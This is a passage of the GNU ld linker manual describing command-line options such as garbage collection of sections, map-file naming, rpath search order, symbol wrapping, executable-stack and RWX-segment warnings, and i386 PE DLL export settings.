This option is similar to the –emit-relocs option except that the relocs are stored in a target-specific section. This option is only supported by the BFIN, CR16 and M68K targets.

–disable-multiple-abs-defs
Do not allow multiple definitions with symbols included in filename invoked by -R or –just-symbols

–fatal-warnings

–no-fatal-warnings

Treat all warnings as errors. The default behaviour can be restored with the option –no-fatal-warnings.

-w

–no-warnings

Do not display any warning or error messages. This overrides –fatal-warnings if it has been enabled. This option can be used when it is known that the output binary will not work, but there is still a need to create it.

–force-exe-suffix
Make sure that an output file has a .exe suffix. If a successfully built fully linked output file does not have a .exe or .dll suffix, this option forces the linker to copy the output file to one of the same name with a .exe suffix. This option is useful when using unmodified Unix makefiles on a Microsoft Windows host, since some versions of Windows won’t run an image unless it ends in a .exe suffix.

–gc-sections

–no-gc-sections

Enable garbage collection of unused input sections. It is ignored on targets that do not support this option. The default behaviour (of not performing this garbage collection) can be restored by specifying –no-gc-sections on the command line. Note that garbage collection for COFF and PE format targets is supported, but the implementation is currently considered to be experimental. –gc-sections decides which input sections are used by examining symbols and relocations. The section containing the entry symbol and all sections containing symbols undefined on the command-line will be kept, as will sections containing symbols referenced by dynamic objects. Note that when building shared libraries, the linker must assume that any visible symbol is referenced. Once this initial set of sections has been determined, the linker recursively marks as used any section referenced by their relocations. See –entry, –undefined, and –gc-keep-exported. This option can be set when doing a partial link (enabled with option -r). In this case the root of symbols kept must be explicitly specified either by one of the options –entry, –undefined, or –gc-keep-exported or by a ENTRY command in the linker script. As a GNU extension, ELF input sections marked with the SHF_GNU_RETAIN flag will not be garbage collected.

–print-gc-sections

–no-print-gc-sections

List all sections removed by garbage collection. The listing is printed on stderr. This option is only effective if garbage collection has been enabled via the –gc-sections) option. The default behaviour (of not listing the sections that are removed) can be restored by specifying –no-print-gc-sections on the command line.

–gc-keep-exported
When –gc-sections is enabled, this option prevents garbage collection of unused input sections that contain global symbols having default or protected visibility. This option is intended to be used for executables where unreferenced sections would otherwise be garbage collected regardless of the external visibility of contained symbols. Note that this option has no effect when linking shared objects since it is already the default behaviour. This option is only supported for ELF format targets.

–print-output-format
Print the name of the default output format (perhaps influenced by other command-line options). This is the string that would appear in an OUTPUT_FORMAT linker script command.

–print-memory-usage
Print used size, total size and used size of memory regions created with the MEMORY command. This is useful on embedded targets to have a quick view of amount of free memory. The format of the output has one headline and one line per region. It is both human readable and easily parsable by tools. Here is an example of an output: Memory region Used Size Region Size %age Used ROM: 256 KB 1 MB 25.00% RAM: 32 B 2 GB 0.00%

–help
Print a summary of the command-line options on the standard output and exit.

–target-help
Print a summary of all target-specific options on the standard output and exit.

-Map=mapfile
Print a link map to the file mapfile. See the description of the -M option, above. If mapfile is just the character - then the map will be written to stdout. Specifying a directory as mapfile causes the linker map to be written as a file inside the directory. Normally name of the file inside the directory is computed as the basename of the output file with .map appended. If however the special character % is used then this will be replaced by the full path of the output file. Additionally if there are any characters after the % symbol then .map will no longer be appended. -o foo.exe -Map=bar [Creates ./bar] -o ../dir/foo.exe -Map=bar [Creates ./bar] -o foo.exe -Map=../dir [Creates ../dir/foo.exe.map] -o ../dir2/foo.exe -Map=../dir [Creates ../dir/foo.exe.map] -o foo.exe -Map=% [Creates ./foo.exe.map] -o ../dir/foo.exe -Map=% [Creates ../dir/foo.exe.map] -o foo.exe -Map=%.bar [Creates ./foo.exe.bar] -o ../dir/foo.exe -Map=%.bar [Creates ../dir/foo.exe.bar] -o ../dir2/foo.exe -Map=../dir/% [Creates ../dir/../dir2/foo.exe.map] -o ../dir2/foo.exe -Map=../dir/%.bar [Creates ../dir/../dir2/foo.exe.bar] It is an error to specify more than one % character. If the map file already exists then it will be overwritten by this operation.

–no-keep-memory
ld normally optimizes for speed over memory usage by caching the symbol tables of input files in memory. This option tells ld to instead optimize for memory usage, by rereading the symbol tables as necessary. This may be required if ld runs out of memory space while linking a large executable.

–no-undefined

-z defs

Report unresolved symbol references from regular object files. This is done even if the linker is creating a non-symbolic shared library. The switch –[no-]allow-shlib-undefined controls the behaviour for reporting unresolved references found in shared libraries being linked in. The effects of this option can be reverted by using -z undefs.

–allow-multiple-definition

-z muldefs

Normally when a symbol is defined multiple times, the linker will report a fatal error. These options allow multiple definitions and the first definition will be used.

–allow-shlib-undefined

–no-allow-shlib-undefined

Allows or disallows undefined symbols in shared libraries. This switch is similar to –no-undefined except that it determines the behaviour when the undefined symbols are in a shared library rather than a regular object file. It does not affect how undefined symbols in regular object files are handled. The default behaviour is to report errors for any undefined symbols referenced in shared libraries if the linker is being used to create an executable, but to allow them if the linker is being used to create a shared library. The reasons for allowing undefined symbol references in shared libraries specified at link time are that:

  • A shared library specified at link time may not be the same as the one that is available at load time, so the symbol might actually be resolvable at load time.

  • There are some operating systems, eg BeOS and HPPA, where undefined symbols in shared libraries are normal. The BeOS kernel for example patches shared libraries at load time to select whichever function is most appropriate for the current architecture. This is used, for example, to dynamically select an appropriate memset function.

–error-handling-script=scriptname
If this option is provided then the linker will invoke scriptname whenever an error is encountered. Currently however only two kinds of error are supported: missing symbols and missing libraries. Two arguments will be passed to script: the keyword “undefined-symbol” or `missing-lib" and the name of the undefined symbol or missing library. The intention is that the script will provide suggestions to the user as to where the symbol or library might be found. After the script has finished then the normal linker error message will be displayed. The availability of this option is controlled by a configure time switch, so it may not be present in specific implementations.

–no-undefined-version
Normally when a symbol has an undefined version, the linker will ignore it. This option disallows symbols with undefined version and a fatal error will be issued instead.

–default-symver
Create and use a default symbol version (the soname) for unversioned exported symbols.

–default-imported-symver
Create and use a default symbol version (the soname) for unversioned imported symbols.

–no-warn-mismatch
Normally ld will give an error if you try to link together input files that are mismatched for some reason, perhaps because they have been compiled for different processors or for different endiannesses. This option tells ld that it should silently permit such possible errors. This option should only be used with care, in cases when you have taken some special action that ensures that the linker errors are inappropriate.

–no-warn-search-mismatch
Normally ld will give a warning if it finds an incompatible library during a library search. This option silences the warning.

–no-whole-archive
Turn off the effect of the –whole-archive option for subsequent archive files.

–noinhibit-exec
Retain the executable output file whenever it is still usable. Normally, the linker will not produce an output file if it encounters errors during the link process; it exits without writing an output file when it issues any error whatsoever.

-nostdlib
Only search library directories explicitly specified on the command line. Library directories specified in linker scripts (including linker scripts specified on the command line) are ignored.

–oformat=output-format
ld may be configured to support more than one kind of object file. If your ld is configured this way, you can use the –oformat option to specify the binary format for the output object file. Even when ld is configured to support alternative object formats, you don’t usually need to specify this, as ld should be configured to produce as a default output format the most usual format on each machine. output-format is a text string, the name of a particular format supported by the BFD libraries. (You can list the available binary formats with objdump -i.) The script command OUTPUT_FORMAT can also specify the output format, but this option overrides it.

–out-implib file
Create an import library in file corresponding to the executable the linker is generating (eg. a DLL or ELF program). This import library (which should be called *.dll.a or *.a for DLLs) may be used to link clients against the generated executable; this behaviour makes it possible to skip a separate import library creation step (eg. dlltool for DLLs). This option is only available for the i386 PE and ELF targeted ports of the linker.

-pie

–pic-executable

Create a position independent executable. This is currently only supported on ELF platforms. Position independent executables are relocated by the dynamic linker to the virtual address the OS chooses for them, which can vary between invocations. They are marked ET_DYN in the ELF file header, but differ from shared libraries in a number of ways. In particular, defined symbols in a PIE by default can not be overridden by another object as they can be in a shared library.

-no-pie
Create a position dependent executable. This is the default.

-qmagic
This option is ignored for Linux compatibility.

-Qy
This option is ignored for SVR4 compatibility.

–relax

–no-relax

An option with machine dependent effects. This option is only supported on a few targets. On some platforms the –relax option performs target specific, global optimizations that become possible when the linker resolves addressing in the program, such as relaxing address modes, synthesizing new instructions, selecting shorter version of current instructions, and combining constant values. On some platforms these link time global optimizations may make symbolic debugging of the resulting executable impossible. This is known to be the case for the Matsushita MN10200 and MN10300 family of processors. On platforms where the feature is supported, the option –no-relax will disable it. On platforms where the feature is not supported, both –relax and –no-relax are accepted, but ignored.

–retain-symbols-file=filename
Retain only the symbols listed in the file filename, discarding all others. filename is simply a flat file, with one symbol name per line. This option is especially useful in environments (such as VxWorks) where a large global symbol table is accumulated gradually, to conserve run-time memory. –retain-symbols-file does not discard undefined symbols, or symbols needed for relocations. You may only specify –retain-symbols-file once in the command line. It overrides -s and -S.

-rpath=dir
Add a directory to the runtime library search path. This is used when linking an ELF executable with shared objects. All -rpath arguments are concatenated and passed to the runtime linker, which uses them to locate shared objects at runtime. The -rpath option is also used when locating shared objects which are needed by shared objects explicitly included in the link; see the description of the -rpath-link option. Searching -rpath in this way is only supported by native linkers and cross linkers which have been configured with the –with-sysroot option. If -rpath is not used when linking an ELF executable, the contents of the environment variable LD_RUN_PATH will be used if it is defined. The -rpath option may also be used on SunOS. By default, on SunOS, the linker will form a runtime search path out of all the -L options it is given. If a -rpath option is used, the runtime search path will be formed exclusively using the -rpath options, ignoring the -L options. This can be useful when using gcc, which adds many -L options which may be on NFS mounted file systems. For compatibility with other ELF linkers, if the -R option is followed by a directory name, rather than a file name, it is treated as the -rpath option.

-rpath-link=dir
When using ELF or SunOS, one shared library may require another. This happens when an ld -shared link includes a shared library as one of the input files. When the linker encounters such a dependency when doing a non-shared, non-relocatable link, it will automatically try to locate the required shared library and include it in the link, if it is not included explicitly. In such a case, several directories are searched as described below. The -rpath-link option specifies the first set of directories to search. This option may specify a sequence of directory names either by providing a list of names separated by colons, or by appearing multiple times. The tokens $ORIGIN and $LIB can appear in these search directories. They will be replaced by the full path to the directory containing the program or shared object in the case of $ORIGIN and either lib - for 32-bit binaries - or lib64 - for 64-bit binaries - in the case of $LIB. The alternative form of these tokens - ${ORIGIN} and ${LIB} can also be used. The token $PLATFORM is not supported. The –rpath-link option should be used with caution as it overrides the search path that may have been hard compiled into a shared library. In such a case it is possible to unintentionally use a different search path than the runtime linker would have used. When additional shared libraries are required, the linker will search directories in the order listed below in order to find them. Note however that this only applies to additional libraries needed to satisfy already included shared libraries. It does not apply to libraries that are included via the -l command line option. Searches for -l libraries are only conducted in directories specified by the -L option.

  1. Any directories specified by -rpath-link options.

  2. Any directories specified by -rpath options. The difference between -rpath and -rpath-link is that directories specified by -rpath options are included in the executable and used at runtime, whereas the -rpath-link option is only effective at link time. Searching -rpath in this way is only supported by native linkers and cross linkers which have been configured with the –with-sysroot option.

  3. On an ELF system, for native linkers, if the -rpath and -rpath-link options were not used, search the contents of the environment variable LD_RUN_PATH.

  4. On SunOS, if the -rpath option was not used, search any directories specified using -L options.

  5. For a native linker, search the contents of the environment variable LD_LIBRARY_PATH.

  6. For a native ELF linker, the directories in DT_RUNPATH or DT_RPATH of a shared library are searched for shared libraries needed by it. The DT_RPATH entries are ignored if DT_RUNPATH entries exist.

  7. For a linker for a Linux system, if the file /etc/ld.so.conf exists, the list of directories found in that file. Note: the path to this file is prefixed with the sysroot value, if that is defined, and then any prefix string if the linker was configured with the –prefix=<path> option.

  8. For a native linker on a FreeBSD system, any directories specified by the _PATH_ELF_HINTS macro defined in the elf-hints.h header file.

  9. Any directories specified by a SEARCH_DIR command in a linker script given on the command line, including scripts specified by -T (but not -dT).

  10. The default directories, normally /lib and /usr/lib.

  11. Any directories specified by a plugin LDPT_SET_EXTRA_LIBRARY_PATH.

  12. Any directories specified by a SEARCH_DIR command in a default linker script.

Note however on Linux based systems there is an additional caveat: If the –as-needed option is active and a shared library is located which would normally satisfy the search and this library does not have DT_NEEDED tag for libc.so and there is a shared library later on in the set of search directories which also satisfies the search and this second shared library does have a DT_NEEDED tag for libc.so then the second library will be selected instead of the first. If the required shared library is not found, the linker will issue a warning and continue with the link.

–section-ordering-file=script
This option is used to augment the current linker script with additional mapping of input sections to output sections. This file must use the same syntax for SECTIONS as is used in normal linker scripts, but it should not do anything other than place input sections into output sections. @pxref{SECTIONS} A second constraint on the section ordering script is that it can only reference output sections that are already defined by whichever linker script is currently in use. (Ie the default linker script or a script specified on the command line). The benefit of the section ordering script however is that the input sections are mapped to the start of the output sections, so that they can ensure the ordering of sections in the output section. For example, imagine that the default linker script looks like this: SECTIONS { .text : { *(.text.hot) ; *(.text .text.*) } .data : { *(.data.big) ; *(.data .data.*) } } Then if a section ordering file like this is used: .text : { *(.text.first) ; *(.text.z*) } .data : { foo.o(.data.first) ; *(.data.small) } This would be equivalent to a linker script like this: SECTIONS { .text : { *(.text.first) ; *(.text.z*) ; *(.text.hot) ; *(.text .text.*) } .data : { foo.o(.data.first) ; *(.data.small) ; *(.data.big) ; *(.data .data.*) } } The advantage of the section ordering file is that it can be used to order those sections that matter to the user without having to worry about any other sections, or memory regions, or anything else.

-shared

-Bshareable

Create a shared library. This is currently only supported on ELF, XCOFF and SunOS platforms. On SunOS, the linker will automatically create a shared library if the -e option is not used and there are undefined symbols in the link.

–sort-common

–sort-common=ascending

–sort-common=descending

This option tells ld to sort the common symbols by alignment in ascending or descending order when it places them in the appropriate output sections. The symbol alignments considered are sixteen-byte or larger, eight-byte, four-byte, two-byte, and one-byte. This is to prevent gaps between symbols due to alignment constraints. If no sorting order is specified, then descending order is assumed.

–sort-section=name
This option will apply SORT_BY_NAME to all wildcard section patterns in the linker script.

–sort-section=alignment
This option will apply SORT_BY_ALIGNMENT to all wildcard section patterns in the linker script.

–spare-dynamic-tags=count
This option specifies the number of empty slots to leave in the .dynamic section of ELF shared objects. Empty slots may be needed by post processing tools, such as the prelinker. The default is 5.

–split-by-file[=size]
Similar to –split-by-reloc but creates a new output section for each input file when size is reached. size defaults to a size of 1 if not given.

–split-by-reloc[=count]
Tries to creates extra sections in the output file so that no single output section in the file contains more than count relocations. This is useful when generating huge relocatable files for downloading into certain real time kernels with the COFF object file format; since COFF cannot represent more than 65535 relocations in a single section. Note that this will fail to work with object file formats which do not support arbitrary sections. The linker will not split up individual input sections for redistribution, so if a single input section contains more than count relocations one output section will contain that many relocations. count defaults to a value of 32768.

–stats
Compute and display statistics about the operation of the linker, such as execution time and memory usage.

–sysroot=directory
Use directory as the location of the sysroot, overriding the configure-time default. This option is only supported by linkers that were configured using –with-sysroot.

–task-link
This is used by COFF/PE based targets to create a task-linked object file where all of the global symbols have been converted to statics.

–traditional-format
For some targets, the output of ld is different in some ways from the output of some existing linker. This switch requests ld to use the traditional format instead. For example, on SunOS, ld combines duplicate entries in the symbol string table. This can reduce the size of an output file with full debugging information by over 30 percent. Unfortunately, the SunOS dbx program can not read the resulting program (gdb has no trouble). The –traditional-format switch tells ld to not combine duplicate entries.

–section-start=sectionname=org
Locate a section in the output file at the absolute address given by org. You may use this option as many times as necessary to locate multiple sections in the command line. org must be a single hexadecimal integer; for compatibility with other linkers, you may omit the leading 0x usually associated with hexadecimal values. Note: there should be no white space between sectionname, the equals sign ("="), and org.

-Tbss=org

-Tdata=org

-Ttext=org

Same as –section-start, with .bss, .data or .text as the sectionname.

-Ttext-segment=org
When creating an ELF executable, it will set the address of the first byte of the text segment. Note that when -pie is used with **-Ttext-segment=**org, the output executable is marked ET_EXEC so that the address of the first byte of the text segment will be guaranteed to be org at run time.

-Trodata-segment=org
When creating an ELF executable or shared object for a target where the read-only data is in its own segment separate from the executable text, it will set the address of the first byte of the read-only data segment.

-Tldata-segment=org
When creating an ELF executable or shared object for x86-64 medium memory model, it will set the address of the first byte of the ldata segment.

–unresolved-symbols=method
Determine how to handle unresolved symbols. There are four possible values for method:

ignore-all
Do not report any unresolved symbols.

report-all
Report all unresolved symbols. This is the default.

ignore-in-object-files
Report unresolved symbols that are contained in shared libraries, but ignore them if they come from regular object files.

ignore-in-shared-libs
Report unresolved symbols that come from regular object files, but ignore them if they come from shared libraries. This can be useful when creating a dynamic binary and it is known that all the shared libraries that it should be referencing are included on the linker’s command line.

The behaviour for shared libraries on their own can also be controlled by the –[no-]allow-shlib-undefined option. Normally the linker will generate an error message for each reported unresolved symbol but the option –warn-unresolved-symbols can change this to a warning.

–dll-verbose

–verbose[=NUMBER]

Display the version number for ld and list the linker emulations supported. Display which input files can and cannot be opened. Display the linker script being used by the linker. If the optional NUMBER argument > 1, plugin symbol status will also be displayed.

–version-script=version-scriptfile
Specify the name of a version script to the linker. This is typically used when creating shared libraries to specify additional information about the version hierarchy for the library being created. This option is only fully supported on ELF platforms which support shared libraries; see VERSION. It is partially supported on PE platforms, which can use version scripts to filter symbol visibility in auto-export mode: any symbols marked local in the version script will not be exported.

–warn-common
Warn when a common symbol is combined with another common symbol or with a symbol definition. Unix linkers allow this somewhat sloppy practice, but linkers on some other operating systems do not. This option allows you to find potential problems from combining global symbols. Unfortunately, some C libraries use this practice, so you may get some warnings about symbols in the libraries as well as in your programs. There are three kinds of global symbols, illustrated here by C examples:

int i = 1;
A definition, which goes in the initialized data section of the output file.

extern int i;
An undefined reference, which does not allocate space. There must be either a definition or a common symbol for the variable somewhere.

int i;
A common symbol. If there are only (one or more) common symbols for a variable, it goes in the uninitialized data area of the output file. The linker merges multiple common symbols for the same variable into a single symbol. If they are of different sizes, it picks the largest size. The linker turns a common symbol into a declaration, if there is a definition of the same variable.

The –warn-common option can produce five kinds of warnings. Each warning consists of a pair of lines: the first describes the symbol just encountered, and the second describes the previous symbol encountered with the same name. One or both of the two symbols will be a common symbol.

  1. Turning a common symbol into a reference, because there is already a definition for the symbol. <file>(<section>): warning: common of `<symbol> overridden by definition <file>(<section>): warning: defined here

  2. Turning a common symbol into a reference, because a later definition for the symbol is encountered. This is the same as the previous case, except that the symbols are encountered in a different order. <file>(<section>): warning: definition of `<symbol> overriding common <file>(<section>): warning: common is here

  3. Merging a common symbol with a previous same-sized common symbol. <file>(<section>): warning: multiple common of `<symbol> <file>(<section>): warning: previous common is here

  4. Merging a common symbol with a previous larger common symbol. <file>(<section>): warning: common of `<symbol> overridden by larger common <file>(<section>): warning: larger common is here

  5. Merging a common symbol with a previous smaller common symbol. This is the same as the previous case, except that the symbols are encountered in a different order. <file>(<section>): warning: common of `<symbol> overriding smaller common <file>(<section>): warning: smaller common is here

–warn-constructors
Warn if any global constructors are used. This is only useful for a few object file formats. For formats like COFF or ELF, the linker can not detect the use of global constructors.

–warn-execstack

–warn-execstack-objects

–no-warn-execstack

On ELF platforms the linker may generate warning messages if it is asked to create an output file that contains an executable stack. There are three possible states:

  1. Do not generate any warnings.

  2. Always generate warnings, even if the executable stack is requested via the -z execstack command line option.

  3. Only generate a warning if an object file requests an executable stack, but not if the -z execstack option is used.

The default state depends upon how the linker was configured when it was built. The –no-warn-execstack option always puts the linker into the no-warnings state. The –warn-execstack option puts the linker into the warn-always state. The –warn-execstack-objects option puts the linker into the warn-for-object-files-only state. Note: ELF format input files can specify that they need an executable stack by having a .note.GNU-stack section with the executable bit set in its section flags. They can specify that they do not need an executable stack by having the same section, but without the executable flag bit set. If an input file does not have a .note.GNU-stack section then the default behaviour is target specific. For some targets, then absence of such a section implies that an executable stack is required. This is often a problem for hand crafted assembler files.

–error-execstack

–no-error-execstack

If the linker is going to generate a warning message about an executable stack then the –error-execstack option will instead change that warning into an error. Note - this option does not change the linker’s execstack warning generation state. Use –warn-execstack or –warn-execstack-objects to set a specific warning state. The –no-error-execstack option will restore the default behaviour of generating warning messages.

–warn-multiple-gp
Warn if multiple global pointer values are required in the output file. This is only meaningful for certain processors, such as the Alpha. Specifically, some processors put large-valued constants in a special section. A special register (the global pointer) points into the middle of this section, so that constants can be loaded efficiently via a base-register relative addressing mode. Since the offset in base-register relative mode is fixed and relatively small (e.g., 16 bits), this limits the maximum size of the constant pool. Thus, in large programs, it is often necessary to use multiple global pointer values in order to be able to address all possible constants. This option causes a warning to be issued whenever this case occurs.

–warn-once
Only warn once for each undefined symbol, rather than once per module which refers to it.

–warn-rwx-segments

–no-warn-rwx-segments

Warn if the linker creates a loadable, non-zero sized segment that has all three of the read, write and execute permission flags set. Such a segment represents a potential security vulnerability. In addition warnings will be generated if a thread local storage segment is created with the execute permission flag set, regardless of whether or not it has the read and/or write flags set. These warnings are enabled by default. They can be disabled via the –no-warn-rwx-segments option and re-enabled via the –warn-rwx-segments option.

–error-rwx-segments

–no-error-rwx-segments

If the linker is going to generate a warning message about an executable, writeable segment, or an executable TLS segment, then the –error-rwx-segments option will turn this warning into an error instead. The –no-error-rwx-segments option will restore the default behaviour of just generating a warning message. Note - the –error-rwx-segments option does not by itself turn on warnings about these segments. These warnings are either enabled by default, if the linker was configured that way, or via the –warn-rwx-segments command line option.

–warn-section-align
Warn if the address of an output section is changed because of alignment. Typically, the alignment will be set by an input section. The address will only be changed if it not explicitly specified; that is, if the SECTIONS command does not specify a start address for the section.

–warn-textrel
Warn if the linker adds DT_TEXTREL to a position-independent executable or shared object.

–warn-alternate-em
Warn if an object has alternate ELF machine code.

–warn-unresolved-symbols
If the linker is going to report an unresolved symbol (see the option –unresolved-symbols) it will normally generate an error. This option makes it generate a warning instead.

–error-unresolved-symbols
This restores the linker’s default behaviour of generating errors when it is reporting unresolved symbols.

–whole-archive
For each archive mentioned on the command line after the –whole-archive option, include every object file in the archive in the link, rather than searching the archive for the required object files. This is normally used to turn an archive file into a shared library, forcing every object to be included in the resulting shared library. This option may be used more than once. Two notes when using this option from gcc: First, gcc doesn’t know about this option, so you have to use -Wl,-whole-archive. Second, don’t forget to use -Wl,-no-whole-archive after your list of archives, because gcc will add its own list of archives to your link and you may not want this flag to affect those as well.

–wrap=symbol
Use a wrapper function for symbol. Any undefined reference to symbol will be resolved to _ _wrap_symbol. Any undefined reference to _ _real_symbol will be resolved to symbol. This can be used to provide a wrapper for a system function. The wrapper function should be called _ _wrap_symbol. If it wishes to call the system function, it should call _ _real_symbol. Here is a trivial example: void * _ _wrap_malloc (size_t c) { printf (“malloc called with %zu “, c); return _ _real_malloc (c); } If you link other code with this file using –wrap malloc, then all calls to malloc will call the function _ _wrap_malloc instead. The call to _ _real_malloc in _ _wrap_malloc will call the real malloc function. You may wish to provide a _ _real_malloc function as well, so that links without the –wrap option will succeed. If you do this, you should not put the definition of _ _real_malloc in the same file as _ _wrap_malloc; if you do, the assembler may resolve the call before the linker has a chance to wrap it to malloc. Only undefined references are replaced by the linker. So, translation unit internal references to symbol are not resolved to _ _wrap_symbol. In the next example, the call to f in g is not resolved to _ _wrap_f. int f (void) { return 123; } int g (void) { return f(); }

–eh-frame-hdr

–no-eh-frame-hdr

Request (–eh-frame-hdr) or suppress (–no-eh-frame-hdr) the creation of .eh_frame_hdr section and ELF PT_GNU_EH_FRAME segment header.

–no-ld-generated-unwind-info
Request creation of .eh_frame unwind info for linker generated code sections like PLT. This option is on by default if linker generated unwind info is supported. This option also controls the generation of .sframe stack trace info for linker generated code sections like PLT.

–enable-new-dtags

–disable-new-dtags

This linker can create the new dynamic tags in ELF. But the older ELF systems may not understand them. If you specify –enable-new-dtags, the new dynamic tags will be created as needed and older dynamic tags will be omitted. If you specify –disable-new-dtags, no new dynamic tags will be created. By default, the new dynamic tags are not created. Note that those options are only available for ELF systems.

–hash-size=number
Set the default size of the linker’s hash tables to a prime number close to number. Increasing this value can reduce the length of time it takes the linker to perform its tasks, at the expense of increasing the linker’s memory requirements. Similarly reducing this value can reduce the memory requirements at the expense of speed.

–hash-style=style
Set the type of linker’s hash table(s). style can be either sysv for classic ELF .hash section, gnu for new style GNU .gnu.hash section or both for both the classic ELF .hash and new style GNU .gnu.hash hash tables. The default depends upon how the linker was configured, but for most Linux based systems it will be both.

–compress-debug-sections=none

–compress-debug-sections=zlib

–compress-debug-sections=zlib-gnu

–compress-debug-sections=zlib-gabi

–compress-debug-sections=zstd

On ELF platforms, these options control how DWARF debug sections are compressed using zlib. –compress-debug-sections=none doesn’t compress DWARF debug sections. –compress-debug-sections=zlib-gnu compresses DWARF debug sections and renames them to begin with .zdebug instead of .debug. –compress-debug-sections=zlib-gabi also compresses DWARF debug sections, but rather than renaming them it sets the SHF_COMPRESSED flag in the sections’ headers. The –compress-debug-sections=zlib option is an alias for –compress-debug-sections=zlib-gabi. –compress-debug-sections=zstd compresses DWARF debug sections using zstd. Note that this option overrides any compression in input debug sections, so if a binary is linked with –compress-debug-sections=none for example, then any compressed debug sections in input files will be uncompressed before they are copied into the output binary. The default compression behaviour varies depending upon the target involved and the configure options used to build the toolchain. The default can be determined by examining the output from the linker’s –help option.

–reduce-memory-overheads
This option reduces memory requirements at ld runtime, at the expense of linking speed. This was introduced to select the old O(n^2) algorithm for link map file generation, rather than the new O(n) algorithm which uses about 40% more memory for symbol storage. Another effect of the switch is to set the default hash table size to 1021, which again saves memory at the cost of lengthening the linker’s run time. This is not done however if the –hash-size switch has been used. The –reduce-memory-overheads switch may be also be used to enable other tradeoffs in future versions of the linker.

–max-cache-size=size
ld normally caches the relocation information and symbol tables of input files in memory with the unlimited size. This option sets the maximum cache size to size.

–build-id

–build-id=style

Request the creation of a .note.gnu.build-id ELF note section or a .buildid COFF section. The contents of the note are unique bits identifying this linked file. style can be uuid to use 128 random bits, sha1 to use a 160-bit SHA1 hash on the normative parts of the output contents, md5 to use a 128-bit MD5 hash on the normative parts of the output contents, or 0xhexstring to use a chosen bit string specified as an even number of hexadecimal digits (- and : characters between digit pairs are ignored). If style is omitted, sha1 is used. The md5 and sha1 styles produces an identifier that is always the same in an identical output file, but will be unique among all nonidentical output files. It is not intended to be compared as a checksum for the file’s contents. A linked file may be changed later by other tools, but the build ID bit string identifying the original linked file does not change. Passing none for style disables the setting from any --build-id options earlier on the command line.

–package-metadata=JSON
Request the creation of a .note.package ELF note section. The contents of the note are in JSON format, as per the package metadata specification. For more information see: https://systemd.io/ELF_PACKAGE_METADATA/ If the JSON argument is missing/empty then this will disable the creation of the metadata note, if one had been enabled by an earlier occurrence of the –package-metadata option. If the linker has been built with libjansson, then the JSON string will be validated.

The i386 PE linker supports the -shared option, which causes the output to be a dynamically linked library (DLL) instead of a normal executable. You should name the output *.dll when you use this option. In addition, the linker fully supports the standard *.def files, which may be specified on the linker command line like an object file (in fact, it should precede archives it exports symbols from, to ensure that they get linked in, just like a normal object file).

In addition to the options common to all targets, the i386 PE linker support additional command-line options that are specific to the i386 PE target. Options that take values may be separated from their values by either a space or an equals sign.

–add-stdcall-alias
If given, symbols with a stdcall suffix (@nn) will be exported as-is and also with the suffix stripped. [This option is specific to the i386 PE targeted port of the linker]

–base-file file
Use file as the name of a file in which to save the base addresses of all the relocations needed for generating DLLs with dlltool. [This is an i386 PE specific option]

–dll
Create a DLL instead of a regular executable. You may also use -shared or specify a LIBRARY in a given .def file. [This option is specific to the i386 PE targeted port of the linker]

–enable-long-section-names

–disable-long-section-names

The PE variants of the COFF object format add an extension that permits the use of section names longer than eight characters, the normal limit for COFF. By default, these names are only allowed in object files, as fully-linked executable images do not carry the COFF string table required to support the longer names. As a GNU extension, it is possible to allow their use in executable images as well, or to (probably pointlessly!) disallow it in object files, by using these two options. Executable images generated with these long section names are slightly non-standard, carrying as they do a string table, and may generate confusing output when examined with non-GNU PE-aware tools, such as file viewers and dumpers. However, GDB relies on the use of PE long section names to find Dwarf-2 debug information sections in an executable image at runtime, and so if neither option is specified on the command-line, ld will enable long section names, overriding the default and technically correct behaviour, when it finds the presence of debug information while linking an executable image and not stripping symbols. [This option is valid for all PE targeted ports of the linker]

–enable-stdcall-fixup

–disable-stdcall-fixup

If the link finds a symbol that it cannot resolve, it will attempt to do “fuzzy linking” by looking for another defined symbol that differs only in the format of the symbol name (cdecl vs stdcall) and will resolve that symbol by linking to the match. For example, the undefined symbol _foo might be linked to the function _foo@12, or the undefined symbol _bar@16 might be linked to the function _bar. When the linker does this, it prints a warning, since it normally should have failed to link, but sometimes import libraries generated from third-party dlls may need this feature to be usable. If you specify –enable-stdcall-fixup, this feature is fully enabled and warnings are not printed. If you specify –disable-stdcall-fixup, this feature is disabled and such mismatches are considered to be errors. [This option is specific to the i386 PE targeted port of the linker]

–leading-underscore

–no-leading-underscore

For most targets default symbol-prefix is an underscore and is defined in target’s description. By this option it is possible to disable/enable the default underscore symbol-prefix.

–export-all-symbols
If given, all global symbols in the objects used to build a DLL will be exported by the DLL. Note that this is the default if there otherwise wouldn’t be any exported symbols. When symbols are explicitly exported via DEF files or implicitly exported via function attributes, the default is to not export anything else unless this option is given. Note that the symbols DllMain@12, DllEntryPoint@0, DllMainCRTStartup@12, and impure_ptr will not be automatically exported. Also, symbols imported from other DLLs will not be re-exported, nor will symbols specifying the DLL’s internal layout such as those beginning with _head_ or ending with _iname. In addition, no symbols from libgcc, libstd++, libmingw32, or crtX.o will be exported. Symbols whose names begin with _ _rtti_ or _ _builtin_ will not be exported, to help with C++ DLLs. Finally, there is an extensive list of cygwin-private symbols that are not exported (obviously, this applies on when building DLLs for cygwin targets). These cygwin-excludes are: _cygwin_dll_entry@12, _cygwin_crt0_common@8, _cygwin_noncygwin_dll_entry@12, _fmode, _impure_ptr, cygwin_attach_dll, cygwin_premain0, cygwin_premain1, cygwin_premain2, cygwin_premain3, and environ. [This option is specific to the i386 PE targeted port of the linker]

–exclude-symbols symbol,symbol,…
Specifies a list of symbols which should not be automatically exported. The symbol names may be delimited by commas or colons. [This option is specific to the i386 PE targeted port of the linker]

–exclude-all-symbols
Specifies no symbols should be automatically exported. [This option is specific to the i386 PE targeted port of the linker]

–file-alignment
Specify the file alignment. Sections in the file will always begin at file offsets which are multiples of this number. This defaults to 512. [This option is specific to the i386 PE targeted port of the linker]

–heap reserve

–heap reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as heap for this program. The default is 1MB reserved, 4K committed. [This option is specific to the i386 PE targeted port of the linker]

–image-base value
Use value as the base address of your program or dll. This is the lowest memory location that will be used when your program or dll is loaded. To reduce the need to relocate and improve performance of your dlls, each should have a unique base address and not overlap any other dlls. The default is 0x400000 for executables, and 0x10000000 for dlls. [This option is specific to the i386 PE targeted port of the linker]

–kill-at
If given, the stdcall suffixes (@nn) will be stripped from symbols before they are exported. [This option is specific to the i386 PE targeted port of the linker]

–large-address-aware
